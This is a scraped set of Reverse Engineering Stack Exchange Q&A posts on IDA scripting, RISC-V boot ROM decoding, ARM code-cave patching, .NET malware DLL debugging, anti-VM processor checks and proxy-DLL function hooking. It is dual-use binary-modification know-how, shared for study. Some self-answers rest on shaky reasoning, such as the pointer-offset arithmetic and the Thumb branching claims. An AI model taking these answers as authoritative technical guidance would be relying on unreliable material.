<p>In developing a RESTful API for IDA &gt;= 7.5 [https://github.com/sfinktah/idarest75], I have observed that a standard threaded webserver does not release it's socket when IDA terminates, <strong>unless</strong> it is run as a plugin. This behaviour may extend to all threading, I have not tested.</p> <p>If the code below is simply loaded as a script (or pasted into the CLI) it will actually cause IDA to invisibly hang when IDA is exited, i.e. IDA appears to close but can actually found to be still running in Task Explorer -&gt; Details.</p> <p>Is there perhaps an IDA-specific <code>atexit</code> analog, as the builtin Python version certainly does not help.</p> <p>Whilst the finished project is capable of running either as a plugin or a stand-alone script, the lack of any way to unload a python plugin requires keeping a reference to the class instance in order to call <code>.term()</code>, which is contra-indicated if one actually expects destruction to occur correctly.</p> <p>Sample code (paste, exit IDA, observe running tasks).</p> <pre><code>def ida_issue(): from http.server import BaseHTTPRequestHandler, HTTPServer from socketserver import ThreadingMixIn import threading class Handler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.end_headers() class ThreadedHTTPServer(ThreadingMixIn, HTTPServer): allow_reuse_address = True class Worker(threading.Thread): def __init__(self, host, port): threading.Thread.__init__(self) self.httpd = ThreadedHTTPServer((host, port), Handler) self.host = host self.port = port def run(self): self.httpd.serve_forever() def stop(self): self.httpd.shutdown() self.httpd.server_close() class Master: def __init__(self): self.worker = Worker('127.0.0.1', 28612) self.worker.start() def main(): master = Master() return master return main() server = ida_issue() </code></pre> <h1>How to re/unload [co-operative] IDAPython plugins.</h1> <pre><code>class idarest_plugin_t(IdaRestConfiguration, ida_idaapi.plugin_t): flags = ida_idaapi.PLUGIN_UNL def run(self, *args): pass def reload_idarest(): l = ida_loader.load_plugin(sys.modules['__plugins__idarest_plugin'].__file__) ida_load.run_plugin(l, 0) # pip install exectools (or ida_idaapi.require would probably suffice) unload('idarest_plugin') # reload plugin (or not) l = ida_loader.load_plugin(sys.modules['__plugins__idarest_plugin'].__file__) </code></pre>
BaseHTTPRequestHandler + ThreadingMixin = unclosed port
|idapython|
<p>I can't find the full memory map, but I've been told that this table can be interpreted similarly. Basically, whatever address is calculated using MSEL will have the value in the &quot;Reset address&quot; field. So, it's not an address to value mapping, but since it's the only variable in the algorithm, it alone determines what address will be jumped to in the final instruction, so the mapping is still valid.</p> <p>Another way to look at it is that MSEL is an index into a jump table, and the base is calculated in the rest of the algorithm.</p> <blockquote> <p>Table 9: Target of the reset vector</p> <div class="s-table-container"> <table class="s-table"> <thead> <tr> <th style="text-align: center;">MSEL</th> <th style="text-align: center;">Reset address</th> <th style="text-align: center;">Purpose</th> </tr> </thead> <tbody> <tr> <td style="text-align: center;">0000</td> <td style="text-align: center;">0x0000_1004</td> <td style="text-align: center;">loops forever waiting for debugger</td> </tr> <tr> <td style="text-align: center;">0001</td> <td style="text-align: center;">0x2000_0000</td> <td style="text-align: center;">memory-mapped QSPI0</td> </tr> <tr> <td style="text-align: center;">0010</td> <td style="text-align: center;">0x3000_0000</td> <td style="text-align: center;">memory-mapped QSPI1</td> </tr> <tr> <td style="text-align: center;">0011</td> <td style="text-align: center;">0x4000_0000</td> <td style="text-align: center;">uncached ChipLink</td> </tr> <tr> <td style="text-align: center;">0100</td> <td style="text-align: center;">0x6000_0000</td> <td style="text-align: center;">cached ChipLink</td> </tr> <tr> <td style="text-align: center;">0101</td> <td style="text-align: center;">0x0001_0000</td> <td style="text-align: center;">ZSBL</td> </tr> <tr> <td style="text-align: center;">0110</td> <td style="text-align: center;">0x0001_0000</td> <td style="text-align: center;">ZSBL</td> </tr> <tr> <td style="text-align: center;">0111</td> <td style="text-align: center;">0x0001_0000</td> <td style="text-align: center;">ZSBL</td> </tr> <tr> <td style="text-align: center;">1000</td> <td style="text-align: center;">0x0001_0000</td> <td style="text-align: center;">ZSBL</td> </tr> <tr> <td style="text-align: center;">1001</td> <td style="text-align: center;">0x0001_0000</td> <td style="text-align: center;">ZSBL</td> </tr> <tr> <td style="text-align: center;">1010</td> <td style="text-align: center;">0x0001_0000</td> <td style="text-align: center;">ZSBL</td> </tr> <tr> <td style="text-align: center;">1011</td> <td style="text-align: center;">0x0001_0000</td> <td style="text-align: center;">ZSBL</td> </tr> <tr> <td style="text-align: center;">1100</td> <td style="text-align: center;">0x0001_0000</td> <td style="text-align: center;">ZSBL</td> </tr> <tr> <td style="text-align: center;">1101</td> <td style="text-align: center;">0x0001_0000</td> <td style="text-align: center;">ZSBL</td> </tr> <tr> <td style="text-align: center;">1110</td> <td style="text-align: center;">0x0001_0000</td> <td style="text-align: center;">ZSBL</td> </tr> <tr> <td style="text-align: center;">1111</td> <td style="text-align: center;">0x0001_0000</td> <td style="text-align: center;">ZSBL</td> </tr> </tbody> </table> </div></blockquote>
29323
2021-09-23T14:32:11.287
<p>I'm reading the <a href="https://starfivetech.com/uploads/fu540-c000-manual-v1p4.pdf" rel="nofollow noreferrer">manual</a> for the SiFive FU540-C000 trying to understand the boot process, and I'm not making sense of the initial steps after power on.</p> <p>I'm using <code>MSEL = 1111</code> based on the recommendation for the <a href="https://docs.sel4.systems/Hardware/hifive.html" rel="nofollow noreferrer">software I'm booting</a> from SD card.</p> <blockquote> <p>On power-on, all cores jump to 0x1004 while running directly off of the external clock input, expected to be 33.3 MHz. The memory at this location contains:</p> <p>Table 8: Reset vector ROM</p> <div class="s-table-container"> <table class="s-table"> <thead> <tr> <th style="text-align: center;">Address</th> <th style="text-align: center;">Contents</th> </tr> </thead> <tbody> <tr> <td style="text-align: center;">0x1000</td> <td style="text-align: center;">The MSEL pin state</td> </tr> <tr> <td style="text-align: center;">0x1004</td> <td style="text-align: center;">auipc t0, 0</td> </tr> <tr> <td style="text-align: center;">0x1008</td> <td style="text-align: center;">lw t1, -4(t0)</td> </tr> <tr> <td style="text-align: center;">0x100C</td> <td style="text-align: center;">slli t1, t1, 0x3</td> </tr> <tr> <td style="text-align: center;">0x1010</td> <td style="text-align: center;">add t0, t0, t1</td> </tr> <tr> <td style="text-align: center;">0x1014</td> <td style="text-align: center;">lw t0, 252(t0)</td> </tr> <tr> <td style="text-align: center;">0x1018</td> <td style="text-align: center;">jr t0</td> </tr> </tbody> </table> </div></blockquote> <p>This is how I've decoded the instructions.</p> <ol> <li><code>0x1004 = auipc t0, 0</code> <ul> <li>AUIPC uses the top 20 bits of the immediate, extends 0 to the low 12, then adds the PC value of the auipc instruction. Store in t0</li> <li>t0 = 0x0 &lt;&lt; 12 = 0x0 + 0x1004</li> </ul> </li> </ol> <div class="s-table-container"> <table class="s-table"> <thead> <tr> <th style="text-align: center;">Register</th> <th style="text-align: center;">Value</th> </tr> </thead> <tbody> <tr> <td style="text-align: center;">t0</td> <td style="text-align: center;">0x1004</td> </tr> <tr> <td style="text-align: center;">t1</td> <td style="text-align: center;">UNDEF</td> </tr> <tr> <td style="text-align: center;">PC (next)</td> <td style="text-align: center;">0x1008</td> </tr> </tbody> </table> </div> <ol start="2"> <li><code>0x1008 = lw t1, -4(t0)</code> <ul> <li>Load value in memory address <code>(t0 - 4)</code>, store in t1</li> <li>t1 = Mem[0x1004 - 4] = Mem[0x1000] = MSEL = 0b1111 = 0xF</li> </ul> </li> </ol> <div class="s-table-container"> <table class="s-table"> <thead> <tr> <th style="text-align: center;">Register</th> <th style="text-align: center;">Value</th> </tr> </thead> <tbody> <tr> <td style="text-align: center;">t0</td> <td style="text-align: center;">0x1004</td> </tr> <tr> <td style="text-align: center;">t1</td> <td style="text-align: center;">0x000F</td> </tr> <tr> <td style="text-align: center;">PC (next)</td> <td style="text-align: center;">0x100C</td> </tr> </tbody> </table> </div> <ol start="3"> <li><code>0x100C = slli t1, t1, 0x3</code> <ul> <li>t1 is left shifted 3, store in t1</li> <li>t1 = 0b1111 &lt;&lt; 3 = 0b1111000 = 0x78</li> </ul> </li> </ol> <div class="s-table-container"> <table class="s-table"> <thead> <tr> <th style="text-align: center;">Register</th> <th style="text-align: center;">Value</th> </tr> </thead> <tbody> <tr> <td style="text-align: center;">t0</td> <td style="text-align: center;">0x1004</td> </tr> <tr> <td style="text-align: center;">t1</td> <td style="text-align: center;">0x0078</td> </tr> <tr> <td style="text-align: center;">PC (next)</td> <td style="text-align: center;">0x1010</td> </tr> </tbody> </table> </div> <ol start="4"> <li><code>0x1010 = add t0, t0, t1</code> <ul> <li>t1 is added to t0, store in t0</li> <li>t0 = 0x1004 + 0x0078 = 0x107C</li> </ul> </li> </ol> <div class="s-table-container"> <table class="s-table"> <thead> <tr> <th style="text-align: center;">Register</th> <th style="text-align: center;">Value</th> </tr> </thead> <tbody> <tr> <td style="text-align: center;">t0</td> <td style="text-align: center;">0x107C</td> </tr> <tr> <td style="text-align: center;">t1</td> <td style="text-align: center;">0x0078</td> </tr> <tr> <td style="text-align: center;">PC (next)</td> <td style="text-align: center;">0x1014</td> </tr> </tbody> </table> </div> <ol start="5"> <li><code>0x1014 = lw t0, 252(t0)</code> <ul> <li>Load value in memory address <code>t0 + 252</code>, store in t0</li> <li>t0 = Mem[0x107C + 0xFC] = Mem[0x1178] = 0x????</li> </ul> </li> </ol> <div class="s-table-container"> <table class="s-table"> <thead> <tr> <th style="text-align: center;">Register</th> <th style="text-align: center;">Value</th> </tr> </thead> <tbody> <tr> <td style="text-align: center;">t0</td> <td style="text-align: center;">0x????</td> </tr> <tr> <td style="text-align: center;">t1</td> <td style="text-align: center;">0x0078</td> </tr> <tr> <td style="text-align: center;">PC (next)</td> <td style="text-align: center;">0x1018</td> </tr> </tbody> </table> </div> <ol start="6"> <li><code>0x1018 = jr t0</code> <ul> <li>jump directly to address in t0</li> <li>PC = 0x????</li> </ul> </li> </ol> <div class="s-table-container"> <table class="s-table"> <thead> <tr> <th style="text-align: center;">Register</th> <th style="text-align: center;">Value</th> </tr> </thead> <tbody> <tr> <td style="text-align: center;">t0</td> <td style="text-align: center;">0x????</td> </tr> <tr> <td style="text-align: center;">t1</td> <td style="text-align: center;">0x0788</td> </tr> <tr> <td style="text-align: center;">PC (next)</td> <td style="text-align: center;">0x????</td> </tr> </tbody> </table> </div> <p>The problem is that, according to the manual, MSEL = 0b1111 should jump to 0x0001_0000, doesn't mention anything about what's at 0x1178</p> <div class="s-table-container"> <table class="s-table"> <thead> <tr> <th style="text-align: center;">Base</th> <th style="text-align: center;">Top</th> <th style="text-align: center;">Attr.</th> <th style="text-align: left;">Description Notes</th> </tr> </thead> <tbody> <tr> <td style="text-align: center;">0x0000_0000</td> <td style="text-align: center;">0x0000_00FF</td> <td style="text-align: center;"></td> <td style="text-align: left;">Reserved</td> </tr> <tr> <td style="text-align: center;">0x0000_0100</td> <td style="text-align: center;">0x0000_0FFF</td> <td style="text-align: center;">RWX A</td> <td style="text-align: left;">Debug</td> </tr> <tr> <td style="text-align: center;">0x0000_1000</td> <td style="text-align: center;">0x0000_1FFF</td> <td style="text-align: center;">R X</td> <td style="text-align: left;">Mode Select</td> </tr> <tr> <td style="text-align: center;">0x0000_2000</td> <td style="text-align: center;">0x0000_FFFF</td> <td style="text-align: center;"></td> <td style="text-align: left;">Reserved</td> </tr> <tr> <td style="text-align: center;">0x0001_0000</td> <td style="text-align: center;">0x0001_7FFF</td> <td style="text-align: center;">R X</td> <td style="text-align: left;">Mask ROM (32 KiB)</td> </tr> <tr> <td style="text-align: center;">0x0001_8000</td> <td style="text-align: center;">0x00FF_FFFF</td> <td style="text-align: center;"></td> <td style="text-align: left;">Reserved</td> </tr> <tr> <td style="text-align: center;">0x0100_0000</td> <td style="text-align: center;">0x0100_1FFF</td> <td style="text-align: center;">RWX A</td> <td style="text-align: left;">S51 DTIM (8 KiB)</td> </tr> </tbody> </table> </div> <p>Did I interpret something wrong, or is there something else going on in this boot sequence that I'm not getting?</p> <p>--EDIT 1--</p> <p>In my original math I shifted the hex values left instead of binary. Going to attribute that to brain tired. It still isn't any more clear what's happening after the jump instruction.</p> <p>--EDIT 2--</p> <p>It was <a href="https://forums.sifive.com/t/whats-the-fu540-boot-sequence/5206" rel="nofollow noreferrer">pointed out</a> that I was using LW incorrectly, loading the value in the register instead of the value in memory indicated by the address in register. Updated the math and still no more clear.</p> <p>--EDIT 3--</p> <p>Thanks to mumbel for pointing out my incorrect use of the MSEL value. I treated as 0x1111 instead 0f 0b1111 = 0xF. I swear I know hex and binary.</p>
Not Understanding the FU540 Boot Process
|assembly|firmware|memory|static-analysis|risc-v|
<p>Fixed with the combined solution from <a href="https://reverseengineering.stackexchange.com/questions/29389/detourattach-breaks-with-illegal-instruction-0xc000001d/29398#29398">this</a> and <a href="https://reverseengineering.stackexchange.com/questions/29375/how-to-find-offset-to-a-function-address-from-the-base-address-in-decompiled-ima">this</a> posts.</p>
29332
2021-09-24T09:38:05.367
<p>I have opened an executable with Ghidra, IDA and x64dbg (runtime).</p> <p>It seems that the address space in IDA and x64dbg is the same, but it is different from the one I see in Ghidra.</p> <p>When hooking through proxy dll, which one should be used?</p> <p>Here are the address snapshots.</p> <p><strong>Ghidra</strong></p> <p><a href="https://i.stack.imgur.com/3rPzY.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/3rPzY.png" alt="enter image description here" /></a></p> <p><strong>IDA</strong></p> <p><a href="https://i.stack.imgur.com/kwV21.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/kwV21.png" alt="enter image description here" /></a></p> <p><strong>x64dbg</strong></p> <p><a href="https://i.stack.imgur.com/QEaPp.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/QEaPp.png" alt="enter image description here" /></a></p>
Why address space is different for Ghidra, IDA and xDebug runtime and which one to use?
|ida|ghidra|dll-injection|address|
<p>Standalone LDC and STC instructions are <em>almost never</em> used in ARM binaries. They were used for a short time in early ARM ISA extensions:</p> <ol> <li>FPA (Floating-point accelerator) used some variants of LDC/STC etc. to load and store data. IIRC they used coprocessor numbers 0/1/2. It used custom 48-bit floating point format and just a few processors were released that supported it in hardware (but it lived for a few more years thanks to software emulation).</li> <li>wMMX and wMMX2 extension was implemented in some Intel XScale(PXA) chip series for DSP acceleration. IIRC it used mostly coprocessor 1 opcodes.</li> </ol> <p>In both cases, the extensions introduce custom instruction mnemonics rather than use raw coprocessor instructions (but I don't know of Ghidra supports any besides VFP).</p> <p>VFP (Vector Floating Point) instructions replaced the short-lived FPA with full IEEE-754 support. Coprocessor numbers 10 and 11 were used. It is still present in ARMv7 (and in some form in ARMv8-M/R). It also uses dedicated mnemonics instead of raw coprocessor instructions.</p> <p>Your snippet uses coprocessor 0 so in theory it <em>could</em> be FPA (or possibly wMMX) but the other instructions do not make much sense, especially the two following ones which both overwrite r5. So I think it's just being disassembled in wrong mode. Going by the disassembly, you seem to have set up it in big endian mode, but it seems to make more sense in little endian:</p> <pre><code>CODE:0002E910 0B 06 LSLS R3, R1, #0x18 CODE:0002E912 ED 00 LSLS R5, R5, #3 CODE:0002E914 90 2B CMP R3, #0x90 CODE:0002E916 00 ED 9D 1B VSTR D1, [R0,#-0x274] </code></pre> <p>It makes somewhat more sense because R3 is being checked after being written to, but the R5 change still looks out of place, and the VSTR too. Are you sure the code is actually for ARM? In any case, check your settings, especially big/little endian and maybe also Thumb/ARM mode.</p> <p>P.S. What you can sometimes actually encounter in real code are MRC and MCR instructions for controlling the system coprocessor (p15) and sometimes debug hardware (p14). Anything else is highly likely to be bogus.</p>
29339
2021-09-25T00:17:43.173
<p>In the analysis of an ARM binary, when would one normally encounter transfer operations between memory and a coprocessor? These are encoded as the <code>LDC</code> and <code>STC</code> operators.</p> <p>Would it be common for programs to have this functionality or is it more specific for system-related operations? Any insight would be helpful, thanks in advance.</p> <p><a href="https://i.stack.imgur.com/3b5lJ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/3b5lJ.png" alt="analysis with STC operator" /></a></p>
When would a program normally transfer data between memory and coprocessor?
|disassembly|assembly|binary-analysis|arm|
<p>By far the easiest way to work with a .NET DLL is to just add it to a console app in the IDE.</p> <ul> <li>Create a new console app in Visual Studio / Rider, etc. - make sure it's the right Core / Framework version if possible (you'll find out soon if not)</li> <li>Add the DLL as a reference to the project (right-click References, Add Reference, Browse)</li> <li>You can then just work with the classes and call your static method directly <pre><code>The.Namespace.ClassName.Method(); </code></pre> </li> </ul> <p>However you're then at the mercy of any static initialisation in that class or any classes referenced by that class, which might be something to worry about if you think this is malicious code. (But in that case you should be reading it not running it I expect.)</p> <p>To make your existing loader work you can just call the static method on your type directly without making an instance, e.g.</p> <pre><code>type.GetMethod(i).Invoke(null, null); </code></pre> <p>(<a href="https://stackoverflow.com/a/11908192/243245">relevant StackOverflow question</a>)</p>
29347
2021-09-27T19:52:46.010
<p>I'm trying to reverse engineer a .net malicious EXE but it loads a DLL inside its memory. I have tried to debug this DLL using a tool called SharpDllLoader and dnspy but I have 2 issues:</p> <h3>First one:</h3> <p>(Cannot create an abstract class.) I searched a little bit and find out that the class inside DLL is <code>static</code>.</p> <h3>Second one:</h3> <p>After modifying the class type, I have another issue (no parameterless constructor defined for this object)</p> <p>I'm not expert in c# but these issues appears after executing <code>CreateInstance</code></p> <pre><code>private static void Main(string[] args) { ParserResult&lt;Options&gt; result = Parser.Default.ParseArguments&lt;Options&gt;(args); if (result.Tag != ParserResultType.Parsed) { Environment.Exit(1); return; } Options options = ((Parsed&lt;Options&gt;)result).Value; string filepath = options.Dll; string ns = options.Namespace; string c = options.Class; string i = options.Method; string[] arguments = null; if (options.Args != null) { arguments = options.Args.Split(new char[0]); } Assembly assembly = Assembly.LoadFile(filepath); Type type; if (ns == null) { type = assembly.GetType(c); } else { type = assembly.GetType(ns + &quot;.&quot; + c); } if (!(type != null)) { Console.WriteLine(&quot;Class or namespace not found&quot;); return; } object cl = Activator.CreateInstance(type); //Here </code></pre> <h2>Solution</h2> <p>I have tried another way to get an instance of this object without running any constructors by using <code>FormatterServices.GetUninitializedObject(type)</code>.</p> <p><a href="https://stackoverflow.com/questions/2501143/activator-createinstancetype-for-a-type-without-parameterless-constructor">https://stackoverflow.com/questions/2501143/activator-createinstancetype-for-a-type-without-parameterless-constructor</a></p>
How to debug a .net DLL?
|debugging|.net|dnspy|
<p>Actually what I needed to do was to branch to an empty code cave and insert my code there. Also, I was using a disassembler which was not correctly analysing the function, for example this <code>71704708</code>hex value was decoded as a thumb instruction set on another disassembler while on the disassembler I first used it was an ARM instruction set. The starting address of the function was also incorrect.</p>
29348
2021-09-28T19:57:06.643
<p>I am new and am still learning assembly languuage. In a native android app library that has been disassembled i found this function which had 1 instruction.</p> <pre><code>addres hex arm instruction function 2cc3ad 71704708 stmdaeq r7, {r0, r4, r5, r6, ip, sp, lr} ^ function0(unsigned char) </code></pre> <p>I have read in articles that arguments used to call a function are are stored on r0,r1 and r2 respectively. I wanted to add 200 into register r0 so that the instruction can store the value into the the memory referenced by those registers. So i inserted the the hex value of a a mov instruction at the address 2cc3ad so that in a hex editor it appeared like this. <code>mov ro, #200</code> is <code>C800A0E3</code> in hex.</p> <pre><code>address Hex Instruction 2cc3ad C800A0E3 mov ro, #200 2cc3b1 71704708 stmdaeq r7, {r0, r4, r5, r6, ip, sp, lr} ^ </code></pre> <p>After editing and adding those bytes i saved to the file. Before using the edited library i tried to redisassemble it but the disassembler gave an error as well as the app which used the library. In my understanding by adding that byte to the library i corrupted the whole file. Is there a way or an instruction i can use to to assign a certain value to r0 or to store the value to the memory referenced by those registers in that function without modifying the whole library?</p>
How to insert arm instructions into a function in a native library?
|disassembly|arm|register|libraries|
<p>for <strong>intel</strong> wProcessorArchitecture<br /> wProcessorLevel indicates if the family is one of</p> <pre><code>386---------------&gt;(3) , 486---------------&gt;(4) , pentium-----------&gt;(5) , pentium2&amp;above----&gt;(6) </code></pre> <p>for other architectures they return different information</p> <p>on my current device</p> <pre><code>:\&gt;wmic cpu get Caption,Level,Name Caption Level Name Intel64 Family 6 Model 142 Stepping 9 6 Intel(R) Core(TM) i3-7020U CPU @ 2.30GHz </code></pre> <p>or some c snippet</p> <pre><code>#include &lt;windows.h&gt; #include &lt;stdio.h&gt; int main(void) { SYSTEM_INFO sysinf ={0}; GetSystemInfo(&amp;sysinf); printf(&quot;%-30s = %x\n&quot; , &quot;wProcessorArchitecture&quot;,sysinf.wProcessorArchitecture ); //9 amd64 printf(&quot;%-30s = %x\n&quot; , &quot;wProcessorLevel&quot; ,sysinf.wProcessorLevel ); //6 pent2&amp;above (core i3) printf(&quot;%-30s = %u\n&quot; , &quot;dwProcessorType&quot; ,sysinf.dwProcessorType ); // 8664 AMD64 return 0; } </code></pre> <p>may be the malware runs selectively and infects only specific machine</p> <p>or as igorsk commented some emulation environments might be returning 0</p> <p>like instead of GeniuneIntel vmware or hyper-v used to return thier names which could be used to detect if running inside vms</p> <blockquote> <p>On machines running off of Microsoft’s Hyper-V or VMware this string will be “Microsoft HV” or “VMwareVMware”.</p> </blockquote>
29351
2021-09-29T13:55:39.600
<p>I am performing some RE on a malware sample, and they are checking the value of SYSTEM_INFO[32] which is <a href="https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/ns-sysinfoapi-system_info" rel="nofollow noreferrer">SYSTEM_INFO.wProcessorLevel</a>. The description MS provides is not clear to me. The malware checks if this value is 0x0 and exits immediately. Sources online say this is to avoid malware inspection environments - when I read this value on my Windows10 PC (not in a VM, just a basic VS script), it returns 0x6. Can someone shed some light on the meaning of this SYSTEM_INFO offset?</p>
What is the meaning of SYSTEM_INFO.wProcessorLevel?
|malware|documentation|
<p>Found of how it works.</p> <ol> <li><p>The offset is indeed just the difference of the addresses, which can be taken from the static analysis, i.e. from IDA or Ghidra regardless in which address space it loads by default.</p> </li> <li><p>So, if the basis address specified by those tools (in the beginning of the image) is say: <code>140 000 000</code> and the function starts at <code>140 039 ea0</code>, then the offset is: <code>0x39ea0</code></p> </li> <li><p>To calculate the address aka baseAddress + Offset properly you need to remember the pointer arithmetics though.</p> </li> </ol> <p><code>baseAddress + Offset / (2*sizeof(pointerSize))</code>, i.e.</p> <pre><code>DWORD_PTR* address = baseAddress + 0x39ea0 / (2*sizeof(DWORD)) </code></pre> <p>Note: I don't quite know where why the size is twice as big in this case</p> <ol start="3"> <li>Need to make sure that the baseAddress is calculated from the correct application.</li> </ol> <p>I.e. when simply doing something like: <code>base_address = (DWORD_PTR)GetModuleHandle(NULL);</code> you will get back the address of the application you are currently building. So, if as in my case you are building the proxy dll, then you will get it's base address.</p> <p>While the function which I was trying to hook was in the .exe file of the program, which that dll will be hooked at. So, what you really want is:</p> <pre><code>baseAddressPtr = (DWORD_PTR*)GetModuleHandleA(&quot;&lt;YourProgram&gt;.exe&quot;); </code></pre>
29375
2021-10-06T15:18:40.273
<p>Let's say there is a default base address for the application image on both IDA and Ghidra and it is equal to <code>140 000 000</code>.</p> <p>If the function address is: <code>140 039 ea0</code></p> <p>Does it mean that the offset from the base address to that function address is <code>0x39ea0</code>?</p> <p>The reason for asking is that when I am setting the hook like this:</p> <p><code>HookInfo{(void**)&amp;gladius::get().gamemain, gamemainHooked}</code></p> <p>where <code>HookInfo = std::pair&lt;void**, void*&gt;;</code></p> <p>The gamemain address is derived from baseAddress of the main process + offset (I am sure it works as intended) is saying that there is <code>read access violation</code> at that address.</p>
How to find offset to a function address from the base address in decompiled image (IDA or Ghidra)
|decompilation|address|offset|hexadecimal|
<p>It looks like you confuse between functions and blocks. It looks like what you call <code>function0</code>, <code>function1</code> and <code>functionX</code> are in fact parts of the same function, and just different basic blocks within the function.</p> <p>To your specific questions:</p> <ol> <li><p>Nothing changes <code>r0</code>, <code>r1</code>, and <code>r2</code> between <code>0x20.b function1</code> and <code>0x28.cmp r0 #1</code>. So yes, they still hold the values from what you called <code>function0</code>. There is nothing in the code, or in assembly as general that implicitly zero out all registers.</p> </li> <li><p>This is the place where the lr is fetched, and jumped to - it is supposed to hold the value of the caller function - The instruction after the call to what you called <code>function0</code>. the <code>lr</code> didn't change between what you called <code>function0</code>, <code>function1</code> and <code>functionX</code>.</p> </li> </ol>
29379
2021-10-06T22:21:51.363
<p>This is an example assembly code:</p> <pre><code> function0() 0x0.mov r0, #1 0x8.mov r1, #20 0x10.mov r2, #6 0x18.cmp r1, #16 0x20.b function1 function1() 0x28.cmp r0, #1 0x30.b functionX functionX() 0x38.bx lr </code></pre> <p>As far as I know, <code>function0</code> moved those values into the first 3 registers. In <code>function1</code> no values were moved into registers.</p> <p>What I don't understand is:</p> <ol> <li><p>after branching to <code>function1</code> do registers <code>r1</code> and <code>r2</code> still have those values or those registers have been zeroed out?</p> </li> <li><p>After branching to <code>functionX</code>, is the link register still the same as the one in function0?</p> </li> </ol>
Branching in arm assembly
|assembly|arm|functions|register|
<p><code>idc.get_operand_type()</code> is a concise way to do this.</p> <p>e.g.</p> <pre><code>if idc.get_operand_type(ea, 1) == idaapi.o_reg: print(&quot;that's a register&quot;) </code></pre> <p>The operand types are all here: <a href="https://hex-rays.com/products/ida/support/sdkdoc/group__o__.html" rel="nofollow noreferrer">https://hex-rays.com/products/ida/support/sdkdoc/group__o__.html</a></p>
29380
2021-10-07T06:55:37.087
<p>Here is my use case:</p> <p>I am trying to create a script that finds all instances of a particular instruction (in this case wrmsr) and traces back to find out whether the operands for the instruction are hard-coded literals or variables that are set at runtime. This is meant to help me detect a certain flavor of vulnerable driver.</p> <p>Does IDAPython have a way to query instruction operands to distinguish between literals and variables? How would I do this?</p>
IDAPython: Is it possible to determine whether an instruction operand is a constant rather than a variable?
|idapython|
<p>Yeah, finally figured it out by myself. After further testing, it turns out that the problem was indeed with branching. Instead of branching in thumb state, I should have branched in arm state.</p> <p>The instruction</p> <pre><code>0x2cc3a8 33F0EABF b 0x33fd8 </code></pre> <p>Should be</p> <pre><code>0x2cc3a8 4C3A0CEA b 0x33fd8 </code></pre> <p>I don't exactly understand the reason behind this since the original instructions were executed in thumb state and I don't understand why the processor didn't recognise the instruction. I will edit the answer after I get more info on this. By the way the arm state is ARM-7 state since the processor architecture is ARM-7.</p> <p><strong>EDIT:</strong> From the information i got about the branch(b) instruction from the arm and keil website, turns out there are limitations when branching. When branching in thumb mode the distance from the program counter and the address you are branching to should be 2KB in which in my case the code cave was about 111KB far. Branching in arm state worked since limit is 32 MB but somehow it caused errors like increasing the values in registers.</p> <p>Solution: Load with psedo instruction to the pc the register the address of the start of the code cave e.g <code>ldr pc, =0x30e93c</code>. This may not work if the function is less than 8 bytes long. In thumb mode loading to the program counter(pc) does not work. So instead you need to load to a general purpose register then move the value to pc . e.g</p> <pre><code>ldr r0, =0x30e93c mov pc, r0 </code></pre>
29384
2021-10-07T16:56:35.430
<p>In a disassembled elf binary i found these arm thumb instructions:</p> <pre><code>function0 0x002cc3a8 8079 ldrb r0, [r0, #6] 0x002cc3aa 7047 bx lr </code></pre> <p>In the codecave these were the initial hex bytes:</p> <pre><code>0x00033fd8 00 00 00 00 00 00 00 00 0x00033fe0 00 00 00 00 00 00 00 00 </code></pre> <p>Then i just branched to the code cave(converted the instruction to a thumb hex):</p> <pre><code>function0 0x002cc3a8 33F0EABF b 0x33fd8 </code></pre> <p>Then inserted the same hex bytes into the code cave(I did not change anything):</p> <pre><code>0x00033fd8 80 79 70 47 00 00 00 00 0x00033fe0 00 00 00 00 00 00 00 00 </code></pre> <p>Function0 and the codecave were in different sections but both sections had the same readable and executable flags. After running the application when that function was called there was an error. The app just quit. It seems like the problem comes from branching to the codecave. Is there something wrong that i did? Should both the function and the codecave be in the same section?</p>
Code caves in arm assembly
|disassembly|arm|elf|section|
<p>Fixed with using <a href="https://easyhook.github.io/" rel="nofollow noreferrer">EasyHook</a> instead of Detours. I.e. replaced this piece of code:</p> <pre><code>writeProtectedMemory(hook.first, hook.second); auto result = DetourAttach(hook.first, hook.second); </code></pre> <p>with this:</p> <pre><code>HOOK_TRACE_INFO hHook = { NULL }; // keep track of our hook NTSTATUS result = LhInstallHook( hook.first, hook.second, NULL, &amp;hHook); ULONG ACLEntries[1] = { 0 }; LhSetInclusiveACL(ACLEntries, 1, &amp;hHook); </code></pre> <p>Where hook.first = <code>0x00007ff69f119ea0 {Gladius.exe!gladius::Game::main(int,char * *,char * *)} {0x8b4820ec83485340} void * *</code></p> <p>And hook.second = <code>0x00007ff818f51ef5 {swresample-3.dll!hooks::gamemainHooked(struct gladius::Game *,int,char * *,char * *)} void *</code></p> <p>Now the app correctly jumps to the Hooked function.</p> <p>P.S. Don't know what is the deal with DetoursAttach() for x64. I have compiled it specifically for that environment.</p> <p>May be it doesn't know of how to pass the hook between the threads... Will check that option later.</p>
29389
2021-10-10T17:11:09.570
<p>I am trying to detour a function using <code>DetourAttach()</code> in the following fashion:</p> <pre><code>hooks::logDebug(&quot;swresample-3Proxy.log&quot;, fmt::format(&quot;Try to attach hook. Function {:p}, hook {:p}.&quot;, *hook.first, hook.second)); writeProtectedMemory(hook.first, hook.second); auto result = DetourAttach(hook.first, hook.second); </code></pre> <p>Where hook.first = <code>0x00007ff69f119ea0 {Gladius.exe!gladius::Game::main(int,char * *,char * *)} {0x8b4820ec83485340} void * *</code></p> <p>hook.second = <code>0x00007ff818f51ef5 {swresample-3.dll!hooks::gamemainHooked(struct gladius::Game *,int,char * *,char * *)} void *</code></p> <p>But the result comes with the following error:</p> <blockquote> <p>Exception thrown at 0x00007FF69F119EA1 in Gladius.exe: 0xC000001D: Illegal Instruction.</p> </blockquote> <p>And the question marks (see the screenshot) where the jump instruction supposed to be.</p> <p><a href="https://i.stack.imgur.com/FxDmT.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/FxDmT.png" alt="Memory around detoured function" /></a></p> <p>Would appreciate some help in resolving this...</p>
DetourAttach breaks with Illegal Instruction 0xC000001D
|c++|function-hooking|dll-injection|api-reversing|
